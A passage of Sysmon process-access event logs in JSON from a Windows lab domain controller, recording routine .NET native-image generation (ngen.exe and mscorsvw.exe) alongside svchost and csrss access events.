12:01:59.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010E3370B00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010E3370B00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010E3370B00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010E3370B00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001087D40C00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001087D40C00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.150\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001030880B00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.150","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001030880B00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.150\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001030880B00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.150","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001030880B00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00101ED80C00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00101ED80C00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-0010A1DB0C00}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-0010A1DB0C00}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-